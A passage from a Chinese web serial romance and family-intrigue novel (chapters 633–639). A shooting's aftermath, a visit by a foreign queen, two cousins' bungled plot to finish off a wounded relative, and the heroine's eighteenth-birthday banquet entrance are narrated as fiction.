正当他准备跟随意识动手时,沈归灵往姜花衫怀里蹭了蹭,单挑眼睑,深邃的黑眸不声不响转了个方向。 “……” 白密莫名打了个冷颤,他记得这个眼神,沈归灵屠杀白冽时就是这个眼神。 几乎没有犹豫,白密立马放下了手里的枪,欲盖弥彰冲姜花衫嚷道,“喂,你要再这么抱着他,他可就死了。” 姜花衫原本还防着白密反扑,听了这话心中的石头暂时落了地,不管什么原因,现在危机暂时解除了。 她扶着沈归灵的肩膀,正要起身,沈归灵摇了摇头,声音极轻,“等人来。” “等什么?还不知道要等到什么时候!” 从沈归灵为她挡下那一枪她就隐约已经猜到他的意图了,但他真的付出时,她心里并不好受,她一心只想用沈归灵的脑子,没想过让他为她拼命。 姜花衫语气不善,“现在就走。” 沈归灵还没反应,另一边的白密炸开了锅! “你什么态度?你就这么跟他说话??” 姜花衫皱眉,二话不说拿起手里的枪对着白密的脸砸了过去,“去叫人。” 白密偏头,手枪擦过他的侧脸飞了出去,不服气,“你使唤谁呢?” “你再不去,他就死了。” 白密脸色微变,转身拔腿就跑,跑到一半忽然意识到什么,脚步瞬间定住。 “老爷子,您慢点!慢点!!” 就在这时,夏园外传来密密麻麻的脚步声。 白密深吸了一口气,转过身看了姜花衫一眼,默默退回了屋内。 沈庄由着沈兰晞搀扶,人还没走近就闻到了一股刺鼻的血腥味,为防止意外,沈让一脚踹开房门,第一个冲了进来。 待看见屋里的场景后,沈让脸色大变,“阿灵!” 正当他准备上前,目光一转突然看清了躺在地上的身影。 沈让霎时僵在原地,表情错愕,“阿……阿杰?” “怎么回事?” 就在这时,沈兰晞搀扶着沈庄进了屋,老爷子的目光最先落在姜花衫身上,见她无恙才注意到了她怀里的沈归灵。 沈庄皱眉,“郑松,去请孟医生过来。” 沈兰晞的目光在两人身上停留了片刻,最终落在一滩血泊中。 “爷爷……” 他轻声提醒,沈庄这才察觉到什么,顺着沈兰晞的视线看去。 “阿……杰?”沈庄喃喃喊了一声,只觉眼前一片空白,身体摇摇欲坠。 “爸!” “爷爷!” 沈让和沈兰晞眼明手快,一左一右扶住沈庄。 “出什么事了?”沈谦紧随其后,原本还一脸淡定,待看见沈归灵一身狼狈,立马飞扑上前,“阿灵,你怎么了?” 沈归灵摇头,此时他已经疼得睁不开眼了,紧紧抱住姜花衫晕了过去。 “阿灵!!!” 沈谦这才发现沈归灵右腹满是血水,他眼里透着厉色,怒道:“快!快救人!!” 眼下沈归灵前途一片光明,他绝不能让这个儿子就这么没了。 地上的血水未干,刺鼻的腥锈味让呼吸都显得艰难,现场一片混乱。 姜花衫看了沈庄一眼,小声说了句对不起,闭眼晕了过去。 她早就知道杀了沈亦杰爷爷一定会伤心,但她还是做了,为此她感到抱歉。 “衫衫。”沈兰晞脸色微变,冲上前一把扶住姜花衫。 沈庄被这一声拉了回来,勉强稳住心神,蹒跚上前,看了看沈归灵又看了看姜花衫,最终什么都没说,摆摆手,“先把人安顿好。” 沈兰晞点头,正要抱人却发现沈归灵的手死死攥着姜花衫腰侧的衣料。 不知怎的,他脑海里莫名闪过两人依偎不舍的画面。 沈兰晞眸光冷了几分,揽过姜花衫的脖子将人圈进怀里,起身时发现沈归灵的手还抓着不放,他视而不见继续往前走。 沈归灵晕倒毫无意识,手臂伸到极致最终落空重重砸向地面…… …… 第634章 女王莅临 窗台的阳光落下一地碎影。 铺满白色蕾丝锦缎的大床上,女孩正熟睡着。 沈兰晞静静看着这张睡脸,莫名有些入神。 【叮——】 【警告!由于当前章节重要剧情人物消失,主线剧情已严重偏离,现已为您开启书灵模式,强制重启。】 【生成完毕——】 【提示:书灵重启模式冷却时间为二十四小时,二十四小时内重启人物不可受到二次生命伤害,否则将永远脱离剧目。】 【警告:主线偏离90%,剧目世界将毁于一旦。】 熟悉的电子音连串响起,姜花衫强行开机,一下坐了起来。 “狗东西!这都没死?” “谁没死?” 姜花衫愣了愣,这才发现她的床边坐着一个人,她已经猜到是谁,捂着头一脸虚弱,“我怎么没死?” “……”沈兰晞看了她一眼,起身挨着床侧坐下,“哪里不舒服?” “头。”姜花衫顺嘴答完忽然察觉到不对劲,后知后觉转头打量他,“你……” 狗东西挨这么近干什么? 沈兰晞看出了她的不自在,身体稍稍后移,“孟医生已经检查过了,他说你是受了惊吓才晕过去的,休息一会儿就好了。” 她不是受了惊吓,是想晕。 姜花衫点头,略微有些迟疑,“沈归灵……” 没等她开口,沈兰晞淡淡开口,“他没死。” 姜花衫:“……” 她当然知道沈归灵不会死,她想问的是沈归灵现在怎么样了? 沈兰晞沉默片刻,冷冷道,“孟医生已经帮他把腹部的子弹取出来了,大伯不放心,调了医护人员去竹园看护。” 姜花衫这才松了一口气,没想到关键还得靠沈谦的父爱,真是讽刺。 忽然,她又想什么,一把抓住沈兰晞的胳膊。 “那……沈亦杰呢?他……他……” 黑色的衣料根本抵不住她掌心余热,沈兰晞身体微僵,勉强稳住心神,“他也没死。” “……”姜花衫指尖微僵,清澈的眸光瞬间染上了雾色。 击中心脏都不死,又是和之前沈执一个套路。 这就是书灵模式。 姜花衫耷拉着肩膀,就在手掌脱离的瞬间忽然顿住。 剧目要复活沈亦杰,就代表他一定参与了后期的毒杀事件,要是一天之内杀不死他,以后必成心腹大患。 “沈兰晞……”姜花衫抬眸,一把拽住沈兰晞的领带,漂亮的桃花眼咄咄逼人,“沈亦杰必须死。” 沈兰晞眼里没有丝毫惊讶,他俯下身慢慢向她靠近,“为什么?” “他该死。” 两人的目光从未有一刻这么贴近过,这样的距离太容易让人产生他们眼里只有彼此的错觉。 沈兰晞还想再近,姜花衫突然反应过来,拽着领带的手抵上沈兰晞的胸口将他推出去。 她突然生气,“什么都要问为什么?就不能不问吗?” 说完,抬脚对着沈兰晞的膝盖踹了一脚。 沈兰晞闹不明白她想干什么,正要解释,姜花衫直接钻进了被子里,只留出一只小腿踹他。 “……” 沈兰晞皱眉,一把扣住莹白的脚踝。 姜花衫顿时身体僵住,停顿一秒突然暴动,身体跟上了发条一样乱踢乱踹。 “沈兰晞你撒手,信不信我告诉爷爷你是变态!” 沈兰晞原本只是想让她安静一点,听了这话,压在心里的醋坛子一下全给打翻了。 他碰一下就是变态,那她和沈归灵之间又算什么? 夏园都闹成那样了,他们还抱在一起! 沈兰晞收拢掌心,拽着她的脚踝,“出来。” 姜花衫死死拽着被单,用力蹬腿,“不出!我不想跟你说话,你出去!” 她下了吃奶的劲,若要强行制服只怕会伤着人,沈兰晞犹豫片刻还是松开了脚踝,姜花衫获得自由后,立马缩进了被窝。 “出来。” “你出去我就出来!” 沈兰晞捏了捏眉心,侧身敲了敲鼓起的山丘。 姜花衫立马往旁边挪了一寸。 沈兰晞沉默片刻站起身,“不管阿杰做错了什么,你都不应该选择今天动手,今天是什么日子你难道不知道吗?” 姜花衫微愣,掩在黑暗里的眸光有些失神。 今天是她十八岁的生日,但她搞砸了这一切…… * 沁园主厅。 白密双手被缚跪在堂下,沈庄拄着拐杖坐在主位,其余人脸色不明。 沈渊见众人都不说话,清咳了一声,故意又重复了一遍白密的供词。 “你的意思是说,阿杰派人迷晕了你想陷害你和衫衫,恰巧被阿灵撞见,几番械斗,沈亦杰开枪打伤了阿灵,衫衫为自保误杀了阿杰,你一直潜伏等候时机,趁机杀了阿杰的同谋?” 白密眼皮都没抬,懒懒应道,“嗯。” 沈渊嘶了一声,作出一副疑惑不解的样子,“爸,这就奇怪了,阿杰跟衫衫无冤无仇,怎么会下此狠手?别不是有人在背后指使吧?” 沈亦杰是三房的孩子,出了这种事,沈娇和沈让的心情最为复杂,尤其是沈娇。 她原以为经过上一次,她已经能将两个孩子看顾得很好了,没想到现在竟然还有人能在她的眼皮子底下算计她的女儿! 此刻,沈娇也顾不得一母同胞的情谊,脸色阴沉,“还能是谁指使?大的杀不了就派小的来,沈澈呢?让他来给他的宝贝儿子收尸!” 这话已经算是极为不客气了,听得沈让眉心一跳,连忙安抚,“你先别气,这件事也只是这小子的一面之词,事情到底是怎么回事还得听听衫衫和阿灵怎么说?兰晞已经去菊园打听了,很快就会有消息,你再耐心等会儿。” “还等什么?!” 沈谦阴沉着脸大步走了进来。 “老爷子,阿灵到现在还昏明不醒,我看分明是有人被驱赶出族心生怨恨,所以才特意安排了今日这场布局。” 说着,极为不客气打量对面的沈娇和沈让,“原本是你们三房的烂账,现如今害得阿灵受累,两位是不是也该给我一个交代?” 沈娇和沈让顿然无语,这还是三房第一次被指着鼻子教训还不了口的。 “够了!” 沈庄冷冷打断,抬眸打量白密,“你撒谎。” 白密原本正在看戏,冷不丁对上一双深不见渊的黑眸,不觉僵滞。 不等他开口,沈谦摆摆手,“给我打,打到他说实话为止。” 白密脸色微变,“你们敢,我是白家人,我祖母要是知道你们这么对我,她老人家绝对不会放过你们的,我祖母最疼爱我,等她来了你们就死定了。” 沈清予,“拉倒吧,你吃了一个月的馒头了,白家一个信都没有。” 话音刚落,郑松快步走进花厅。 “老爷子,白家女王来了。” …… 第635章 醉翁之意不在酒 白朱拉这个名字,几乎影响了国际政坛半个世纪之久,她比沈庄还要年长十岁,如今已经是耄耋之年。 与沈庄被迫承担家族使命不同,白朱拉自小就被白普大帝当做王位继承人培养,其野心手段远非一般权谋者能比。 这样的人突然出现在自己院门外,即便是沈庄,也不得不打起十二万分精神。 花厅的审问暂停,沈庄亲自去前院迎接贵宾。 主厅的宾客听说S国那位女王来了,顿时都炸开了锅。 一个家族千金的生日宴竟然能让邻国那位传奇女王亲自莅临,这等荣耀,放眼A国除了沈家还能有谁? 余斯文和几位同期高权正在闲聊,听说白朱拉来了,立马坐不住一脸惊讶看向厅外。 女王已经八十高龄,且不说最近两国并无外交会晤,即便有,女王也是派长公主白拉曼代她决议,现在却亲自现身沈家一个养女的生日宴,实在是太让人匪夷所思了。 沈园外,放眼一片都是身穿黑色军制大衣的军官,白朱拉戴着一顶优雅的宫廷帽,一身金线绣的暹罗湾浪纹让她看上去少了几分王座上的威严。 虽然已经八十高龄,但比起同龄人,她的状态年轻很多,腰身挺直丝毫不见颓暮之色。 站在女王身后的是长公主白拉曼,以及她的侍女和侍卫长。 沈庄前脚刚跨出院门,女王便抬眸看了过来,两人目光交汇,各自从容。 “陛下亲自莅临,有失远迎,莫怪莫怪。” 白朱拉自幼学习多国语言,对于A国话不需要翻译也能交流自如,她用极其纯正的A国话回道,“听闻今天是衫衫小姐的生日,我来凑凑热闹,之前闹了些不愉快,还请沈先生别往心里去。” 沈庄面上不显,心里却起了疑。 白朱拉可不是一位脾气温和的上位者,她在位期间,S国爆发的战乱大大小小不低于五十起,几乎每一年都有动荡,可以说,白朱拉的王杖之下只有强权,与S国相接的小国都是被她打服的。 虽然她为S国做出的政绩毋庸置疑,但还是有不少S国民在背后偷偷议论她是毒蛛女王。 这样的人,竟然会主动上门求和? 白朱拉看出了沈庄的迟疑,面带微笑,“沈先生不欢迎?” 她藏在帽檐阴影里的琥珀色瞳没有半分耄耋之人的浑浊,倒像刀锋擦过佛寺铜钟庄重、深远。 沈庄沉吟片刻,笑了笑,侧身引路,“请。” 白朱拉的身份不同于寻常人,即便已经轻装出行,身边的侍卫还是多得可以包下整个山头。 沈园规矩禁止闲杂人等入内,于是双方各退一步,除了侍卫长持枪随身保护外,其余人暂且留在前院待命。 前厅宴客早就听说白家女王莅临,个个翘首以盼,尤其东西南北四湾的宾客,他们连鲸港圈层都还没挤进去,现在竟然有机会接触国际圈层,这要是回去能吹一辈子。 谁知沈家人接到女王后并未引入前厅,而是直接去了后院,余斯文与一众高权已经起身站在门厅前接待,见状相互看了看又尴尬回座。 “想来是女王和沈老老友见面,还有话要聊,咱们啊,再耐心等等。” 余斯文笑着点头,“说的是。” * 白朱拉远道而来,沈庄自然要奉为上宾,亲自将人领到沁园主厅不说,还特意命人搬来了两把官定玫瑰椅平起平坐。 沈渊、沈清予挨着沈庄依次入座,白拉曼则坐在女王的下首位。 “!!!” 白密一只脚跨进门槛时还有些浑浑噩噩,待看见白朱拉后眼里的震惊几乎可以用地震来形容。 还真是祖母! “阿密!” 白拉曼到底是白密的亲生母亲,提心吊胆了一个月终于看到了人,一时情难自禁起身冲上前。 “怎样?他们有没有为难你?瘦了!脸都小了一圈。” 虽然长公主说的是S语,但白密还是觉得有些丢脸,偷眼打量了女王一眼,小声道,“祖母。” 白拉曼这才意识到什么,立马收敛神情,对着白密使了个眼色,“坐。” 白密点头,刚坐下,白朱拉突然转头看了过来,他顿时警铃大作,立马又站起身,作出一副聆听恭训的模样。 沈清予见状不由觉得好笑,这煞笔在他们面前凶得跟狗王一样,结果在他祖母面前就是坨屎。 白朱拉神色淡然,“给人家添了这么大的麻烦,还不知道认错?” 白密皱眉,似有些不情愿,但碍于白朱拉的压迫只能乖乖屈服。 他转身对着沈庄恭敬鞠躬,“一时玩闹给沈老先生添麻烦了,还请沈老先生勿怪。” 沈庄面上不显,但心里却愈发察觉到异样,他笑着摆摆手,“坐吧。” 白密起身看向白朱拉,见她没再要求暗暗松了一口气,低头入座。 白朱拉抬眸,目光在对面逡巡了一圈,又不经意落在沈庄身上,“沈先生,怎么没有看见你另外两个孩子?” 之前是沈归灵去白王宫接的姜花衫,女王口中的两个孩子是谁答案已经很明显了。 白密默默摸了摸鼻尖,他就说了,他哪来的这么大的面子?原来祖母是醉翁之意不在酒。 沈庄一时看不透白朱拉的意图,迟疑片刻缓缓道,“两个孩子受了点惊吓,现在在房间休息。” 白朱拉眉眼微抬,心道:那两个孩子,一个能在她的白王宫反杀刺客,一个能凭一己之力拿下王室第一军团,能让他们受到的惊吓只怕不是普通事故。 但她到底只是客人,若问的太多沈庄一定会起疑。 就在白朱拉权衡之际,白密站起身,先发制人,“祖母,您可算是来了?!您要再晚来一步只怕就看不见您的孙子了?” “沈家人内斗,有人在我的饭菜里下药想诬陷我和姜花衫,沈归灵为了阻止这件事被贼人打穿了内脏。” “砰——” 白朱拉大怒,一时没忍住拍案看向沈庄,“他说的都是真的?” …… 第636章 事出反常必有妖 若是寻常人定会畏惧女王一怒,但沈庄不是寻常人,眉眼沉然,“这件事沈家还在调查,是否如这小儿所言还有待商榷。” 白朱拉仍有些不忿,谁管真相,她问的是她的嫡孙是不是真的中枪了? 但这话又不能直接问,在说服沈归灵回白家之前,她不能随意暴露身份。 那次白王宫初见后她就琢磨出来,那小子是个有主意的,根本接受不了被人安排。 未免沈庄看出什么,白朱拉勉强缓和脸色,“你家那小子身手不错,这次怎么这么不小心?”说着便转头看向白密。 白密自小在王室长大,自然听出了白朱拉的弦外之音。 他正要如实回答,脑子里忽然闪过沈归灵最后一眼威胁他的眼神。 “……”白密立马作有了判断,懒懒道:“那还不是因为他就是个废物,白冽比他还更废!” 若是让女王知道沈归灵是为了替姜花衫挡枪才受伤的,姜花衫大概率会被处理掉。 虽然他也看不惯姜花衫,但他更怕女王太过强势惹毛沈归灵。 白朱拉不疑有他,又转头看向沈庄,“沈先生说,还有待商榷又是怎么回事?” 沈庄思忖片刻,端起茶盏,不等他开口沈青予主动接话,“当时屋里一共五个人,除了衫衫和白密,一死两重伤。” 白朱拉记得眼前的年轻人,随意扫了沈庄一眼,面带微笑,“那又如何?” 沈清予,“既然白密知道装晕,那就说明他已经猜到了饭菜有问题,若真如他所说是沈家内斗,那为何他要开枪射杀其中一名帮凶?” 白拉曼皱眉,“照你这么说,我家阿密帮你们解决了一个大麻烦还帮出错来了?” 沈清予丝毫不受影响,条理清理反问,“据我所知,白密下可不是一个以德报怨的人,沈家内斗他本可继续装晕独善其身,为什么要开枪暴露自己?还有,白密一直都没有交代他为什么会突然出现在沈园,莫不是和今天的事有什么关联?” 白密脸色冷沉,眯眼打量沈清予,沈家人还真是一个比一个难缠。 他的确早就知道饭菜有问题,故意装晕也不过是想顺藤摸瓜找到出去的办法。 要不然沈归灵牵扯其中,沈家叛徒打死姜花衫他都不会动一下。 眼看气氛有些焦灼,沈澈深怕沈清予说话太直得罪女王,忽然开口,“这还不简单?白殿下之前不是说了吗?他来沈园是为了见衫衫的,那后来不装晕也一定是为了救衫衫,是不是啊?白殿下?” 是个屁! 白密脸色忽然阴沉。 这些沈家人果然阴险,竟然明着给他挖坑?!就沈归灵那护食的劲儿,他今天要敢认,说不定明天就会被一枪爆头。 白朱拉察觉到白密的异样,抬眸扫了过去,“阿密,他们说的是真的?” 白密有苦说不出,闭了闭眼,“当然不是真的,之前那些话都是我为了气沈家人胡编乱造的,不作数的!我来沈园是为了沈归灵。” “……”白朱拉神色微动,侧身端起案边的白盏垂眸不语。 白密看了众人一眼,语气不善,“沈归灵拿了我们第一军团的王旗,这口气我咽不下去,所以想上门找他晦气。” 这理由倒是合情合理。 沈庄没有表态。 沈清予还是不信,“既然如此,为什么一开始不早说?” 白密,“你们一个个追着我审问,我就是不想说实话,不行吗?” “沈先生。”白朱拉放下茶盏,及时打断两人的争吵,“阿密无状,叨扰了先生安宁,如今你打也打了,罚也罚了,一个月的时间气也该消了吧?” 白密并未作出实质性的伤害行为,就算他装晕的事可能存在隐情,但最终的结果的确是帮了沈归灵和姜花衫。 沈庄思忖片刻,点了点头,“那就请陛下把人领回去吧。” 白朱拉见好就收,笑道,“十八岁可是个大日子,我亲自为衫衫小姐准备了一点小礼物,还请沈先生代为转达。” * 菊园。 姜花衫看着眼前琳琅满目的珠宝一时有些反应不过来,怔愣了许久才转头看向沈娇。 “您说,这些东西是谁送的?” 沈娇的表情也是耐人寻味,“白家女王。” 她虽然被A国民众戏称沈家女王,但自认跟白朱拉还是没得比,小时候她想入政途与男人们一较高低,一直都是拿白家女王做榜样。 姜花衫,“白家女王来了?” 沈娇点头感叹,“可不是,谁说白家人情淡薄的?” 姜花衫只觉更加头疼,她分明记得上一世白朱拉根本没有来过沈园,为什么剧情会出现这么大的偏差? 早不来晚不来,偏偏在沈归灵中枪的时候来,难不成是要接沈归灵回去? 她一时没有把握,忽然想到什么,抬起头,“绥尔和枝枝呢?您怎么没看见她们?” 从她醒来到现在,这两人还没出现过,她想找人打探消息都不见人影。 沈娇的注意力一直在姜花衫身上,听了这话瞬间反应过来,“对啊!你晕过去这么大的事怎么没看见绥尔过来???” 姜花衫皱眉,不对劲,这要是以前,傅绥尔都是黏在床前的,太反常了! * 与此同时的夏园。 沈让挂了电话一脸愁容。 沈澈在电话里听说沈亦杰危在旦夕,口不择言把沈家所有人都诅咒了一遍,三房的关系只怕是回不到从前了。 “爸。” 沈让微愣,转过身看见沈眠枝略微有些惊讶,“枝枝,你怎么来了?” 沈眠枝往主卧看了一眼,“阿杰哥怎么样了?” 沈让轻叹了一声,“他胸口藏着一枚勋章,子弹击中勋章偏移了要害,现在暂时脱离了生命危险。” 沈眠枝点头,“那就好。” “你来这做什么?” “白家女王的侍卫在前厅和我们的人起了冲突,父亲你快去看看吧?!” 沈让脸色微变,刚走两步忽然想到什么,回头看向主卧。 沈眠枝笑了笑,“爸爸快去吧,这里我替您看着,白家势大,真闹起来大家都不好看。” 沈让不疑有他,点头,“好。” 说罢,转头出了夏园。 …… 开了新裙了,点主页即可~ 第637章 一起补刀 冬阳稀散,仿佛一层薄绢轻轻覆在青瓦之上,游离的光影在瓦楞之间缓缓徘徊。 “吱呀——” 沈眠枝手掌轻抵着铜扣推开了主卧的房门。 “嘀——嘀——嘀——” 四下极静,仪器的声音显得尤其刺耳。 沈眠枝掩上门,绕过床尾慢慢走到床头。 此时的沈亦杰就像一截骤然折断的年轻松枝陷在白色的床单里,他的呼吸极其微弱,如果不是心电监护屏上的绿色光点一直在跳跃,乍一看还以为没有了生机。 沈眠枝沉默片刻,撩开礼裙,取下绑在大腿内部的橡胶手套。 从夏园到前厅来回大概需要十五分钟,以沈亦杰现在的状态停止供养一分钟应该就会没命。 沈眠枝一丝不苟戴好手套,准备拔氧气管时指尖顿了顿。 为了保险起见,还是两分钟吧,反正时间来得及。 正要下手,突然床底伸出一双手毫无预兆抓住了她的脚踝。 “!” 饶是沈眠枝情绪再稳定,也不免被吓得心肝颤动!她强行捂住自己的嘴,取下鬓间的发簪对着脚踝方向刺了过去。 “是我……” 就在利器快要割破皮肉的前一秒,傅绥尔探头从床底钻了出来。 “枝枝,是我啊~” “……”沈眠枝眸光一顿,当即收手,整个人卸了力栽倒在地。 傅绥尔也知道这乌龙闹大了,赶紧爬出来道歉,“吓着你了?对不起啊,我以为是你爸,我才躲进去了,谁知道撩起床单发现是你。” 沈眠枝一颗心现在还悬在空中没下来,看着眼前的傅绥尔简直无力吐槽。 “你怎么在这?你不是说去看衫衫了吗?” 傅绥尔抓了抓头,表情闪烁,“你不也去看女王了吗?” 两人目光对视,一个戴着礼服长手套,一个戴着医用橡胶手套。 “……” 早在之前,沈眠枝就告诉过傅绥尔,姜花衫可能已经知道谁是凶手了,但因为姜花衫一直没有开口,两人猜想其中一定有隐情,便也默契地没有再提此事。 直到沈亦杰突然回沈园,她们立马察觉出了姜花衫的异样。 所以,虽然没有证据,沈眠枝和傅绥尔同时对沈亦杰的身份起了疑心。 原本她们打算暗中搜查证据,没想到姜花衫竟然零帧起手,在自己的生日宴上和沈亦杰对刺。 这让沈眠枝和傅绥尔意识到事情远比她们想象的更紧迫,没有人比姜花衫更在意今天的生日,但她选择在今天下手,说明沈亦杰必须死。 所以,两人在得知沈亦杰没死后,当即策划了一场补刀计划。 为了不连累彼此,她们甚至都没有跟对方透露自己的意图,但滑稽的事,竟然就这么水灵灵撞上了?! 傅绥尔主动向沈眠枝伸手,一把将她拽了起来,小声道,“你……” 沈眠枝点头,大方承认,“我来拔氧气管。” 傅绥尔,“这么巧,我也是来拔氧气管的。” 沉默片刻,两人突然一起笑了出来。 沈眠枝抵唇轻咳了一声,“那……现在怎么办?” 两个人都来拔氧气管,但是氧气管只有一根,这怎么分? 傅绥尔略有些不好意思,“要不,这次就让给我吧?他是谋害我母亲的凶手之一,我早就想报仇了。” 当然,她们都知道这不过是场面话。 沈家家规第一条,不可自相残杀。即便沈亦杰真有问题,沈庄也不会允许有人私下处理,毕竟是一条人命,以后若追查出什么,动手的这个人定然会受到严厉的责罚。 沈眠枝点头,“好,那你拔,我看着。” 这是打算一起承担的意思。 傅绥尔轻叹了一声,指着门口,“枝枝,你出去守着门口吧。” 见沈眠枝完全没有动摇的意思,她又解释道,“你没听过一句话吗?鸡蛋不能放在一个篮筐里,万一我被发现受罚,你还能接应我不是?我们可不能被一网打尽了!” 沈眠枝想想觉得有道理,回头看了沈亦杰一眼,叮嘱道,“两分钟。” “知道了。” 傅绥尔转头瞄准氧气管,沈眠枝掉头准备去屋外守着,就在这时,院外突然传来动静。 “人呢?院子里怎么没有一个人看着?” 是高止的声音。 两人脸色惊变,沈眠枝当机立断摘下手套扔给傅绥尔,顺手又将手里的银簪插回鬓间。 傅绥尔接过橡胶手套,转手塞进自己的礼服手套里,整个过程行云流水默契十足。 脚步声越来越近,沈眠枝冲傅绥尔使了个眼神,拉着她往门外走去。 “吱呀——” 就在屋外之人抬手准备推门时,两人率先拉开房门,作出一副正要离开的样子。 三人迎面撞上,沈兰晞脚步微顿,立在门前。 “兰晞哥?!”傅绥尔故作惊讶,主动迎上前,“你也来看阿杰哥?” 沈兰晞表情淡然,目光在两人脸上停留了片刻又抬眸看向她们身后的卧室。 “你们怎么会在这?” 傅绥尔和沈眠枝一下就心悬了起来,毕竟是第一次来杀人灭口,经验不足,再加上沈兰晞的眼神太有压迫,两人一时语塞接不上话。 要是衫衫在就好了,绝对零帧起手。 沈兰晞皱眉,“说话。” 沈眠枝暗暗喘了口气,收敛神色淡定道,“我们听说阿杰哥已经脱离危险了,所以特意来看看他。” “特意来看看?” “是啊,有什么问题吗?”傅绥尔反问。 沈兰晞,“你们两个不去看衫衫跑来看阿杰?你们说有没有问题?” 沈眠枝微愣,傅绥尔皱眉,抬起头,正要解释。 这时,院里突然又响起一道声音。 “诶!兰晞,你怎么在这?” 沈让去而复返,一脸好奇打量三人,“绥尔?你什么时候来的?” 沈兰晞侧身,神情淡漠,“爷爷吩咐五叔守好夏园,您刚刚去哪了?” “这?”沈庄抓了抓头,指着前厅的方向,“白家侍卫闹事,我去前厅了,后来遇见郑松和他交代了一句,所以又回来了。怎么了?” 沈兰晞,“爷爷的吩咐是让您寸步不离守着夏园。” 沈眠枝往前一步,抬头直视沈兰晞,“父亲没有擅离职守,我替他守着。” 不等沈兰晞开口,沈让立马上前解释,“兰晞,我就离开五分钟而已。” “若有人存心加害,一分钟就能要了阿杰的命。” 傅绥尔和沈眠枝脸色微变,沈让看了看女儿,这才明白沈兰晞的意思,当即沉下脸,“兰晞,你是在说谁?” “没什么。”沈兰晞转身看着沈让,“沈家最近不太平,还是小心点好。” “……” 见三人不说话,他偏头,撩眸扫了高止一眼,“去看看里面的情况。” “是。”高止点头,绕过沈眠枝和傅绥尔进了卧室。 片刻后,高止轻轻掩上房门,“少爷,一切正常。” 沈眠枝和傅绥尔不觉暗暗松了口气,幸好刚刚她们没有抱着侥幸心理强行拔管,否则现在就被抓了。 沈让脸色不愉,“看来你是真把我们三房当贼防了?” 沈兰晞缓和了脸色,微微欠身,“我也是想保证沈家的安全,五叔莫怪。” 说罢,谁都不看,转身出了夏园。 …… 第638章 惊艳出场 冬日的太阳落地快,傅绥尔和沈眠枝从夏园出来时,天色已经暗了下来。 “我总觉得兰晞哥话里有话,你说他是不是看出什么了?”傅绥尔想到沈兰晞的眼神还有些提心吊胆。 沈眠枝凝眉思索了片刻,略有迟疑,“谁知道呢?不过,兰晞哥那句话听着不像是挑事,更像是……” 傅绥尔眼睛一亮,“提醒。” 沈眠枝抬眸,“你也这么认为?” 沈园谁不知道三位小姐的关系亲密无间,姜花衫受惊她们不去菊园反而跑来夏园,光动机就很让人起疑,如果沈亦杰真出了什么事,沈庄也不好糊弄。 这么比起来,杀人反倒是破局最容易的一步,最难的是如何将自己安全摘离。 反观姜花衫过去的辉煌战绩,哪一战不是全身而退? 此时此刻,傅绥尔和沈眠枝对姜花衫的认同感又上升到了另一个层面。 宴会马上就要开始了,两人一番合计决定先去菊园,补刀的事再找时机。 * 此时,菊园灯火满簇,鲜花满园。 姜花衫闭眼坐在花架下,任造型师们精心雕琢。 宴会已经开始,A国所有名流聚集于此,不管中途发生了什么?不管她现在心情如何?这场剧目都必须完美落幕。 “衫衫!!!” 傅绥尔和沈眠枝推门而入。 姜花衫回过头,两人澄净的眸底瞬间荡起千层激浪。 * 生日宴厅设在主院,夜风滑过重檐,偌大的庭院次第亮起。 回廊曲折,人影影绰绰。琉璃灯盏悬垂于亭台楼阁的飞角,光晕温润如暖玉,夜空烟花璀璨亮过繁星。 宴厅里青瓷酒盏交错,琥珀色的琼浆映着灯火,客人们或高谈或浅笑,人声织成一片繁华隐匿在盛大的欢庆声中。 沈庄含笑坐在主位,桌上的贵宾依次是白家女王、苏家老爷子、A国总统、副总统、国会议员长,国务院主理…… 就连蔡严这个警署厅总厅长都只能坐在次主席,其余宾客见状,皆以自己有一席之地而感到自豪。 随着宴会正式拉开序幕,沈清予的直播间也达到了恐怖的千万在线观看级别,尤其网友们在得知白家女王都来了,更是群起沸腾,纷纷叫嚷着要看看寿星。 沈清予也是欠欠的,顶着一张权威渣男脸冷冷拒绝,“都随礼了吗?张口就要看寿星?寿星不给看,看看白家人得了。” 【哥,我刚刚随了五百万,算您账了,求点个关注,求私发。】 【老公,他们都打妹妹的主意,我就不一样,我眼里只有你。】 【天!好帅!求渣求渣求渣!】 * 临港露台。 一群年轻人簇拥一团,眼眸微醺,打打闹闹。 周宴珩独自靠着露台的栏杆,一边吹冷风一边看着头顶的烟火。 “大爷的!沈家烧钱也不是这么烧吧?我耳朵要是聋了,看我不讹死他们。”关鹤挠了挠耳朵,骂骂咧咧凑上前。 见周宴珩没有接话,挑了挑眉,递上一瓶啤酒。 “emO?” 周宴珩看了他一眼,笑了笑接过啤酒,“从哪学的词儿?” 关鹤掏出手机,“今天我一直偷看这孙子直播,这群傻逼张口就是梗,差点没把老子笑死。” 周宴珩瞥了一眼,立马就认出了沈清予背后的画面是沈园主厅。 正巧这个时候沈清予在问大家讨要随礼,关鹤抬头,一脸鄙夷指着镜头里的沈清予,“瞧瞧,沈清予这傻逼退学后混成了网络乞丐,看我刷个一毛钱侮辱他。” 说罢,转手就是一个小心心。 “……”周宴珩皱眉,“这种事有什么好高兴的?” 他有时候真的很羡慕关鹤,因为脑子简单所以特别容意满足,他刷一天,这时长都已经占到榜十了,又送钱又送流量,真是比沈清予的亲爹还好。 关鹤听不懂,以为周宴珩在抱怨自己冷落了他,立马道,“要不,我陪你溜一圈?” 自从南湾事件后,周宴珩好长一段时间没有碰车了,按理说应该会手痒,但他还是提不起半点兴趣。 关鹤见他意兴阑珊,又道,“那上游戏?” 周宴珩,“没兴趣。” 连最刺激的真人CS都不感冒了,坏了坏了!关鹤脸色抬手探向他的额头,表情严肃,“哥们,你不会是*痿了吧?” “滚。”周宴珩一巴掌拍下他的手。 “不是,你这也没兴趣,那也没兴趣,你到底想干嘛?” 周宴珩懒得理他,仰头一口喝下了手里的啤酒。 “走了。”他擦了擦嘴角,正要转身。 关鹤拍了拍他的肩膀,举起手机,“那这个呢?” …… * 正厅前的开阔处,有人站在盛光里,一双桃花眼,眼尾天然微扬,弧度如三月枝头初绽的桃瓣,清纯又惊艳。 她的礼服几乎与夜色融为一体,裙摆间缠绕着无数细密的银白丝线,一道薄如轻雾的冰蓝色肩纱,自纤巧的锁骨处斜斜滑落无声地裹缠着神秘的黑尾,唯一裸露直肩膀透着惊心动魄的白皙。 这是十八岁的姜花衫,美貌是她第一没有摘下的标签。 …… 宴会礼服,代入一下。 第639章 藏不住的爱意 姜花衫的出现,让哗然的宴厅陷入了短暂的沉静,烟花为幕,昭示着她的十八岁盛大绚烂。 美貌单出是死局,但只要加上任何一种才能就是王炸。 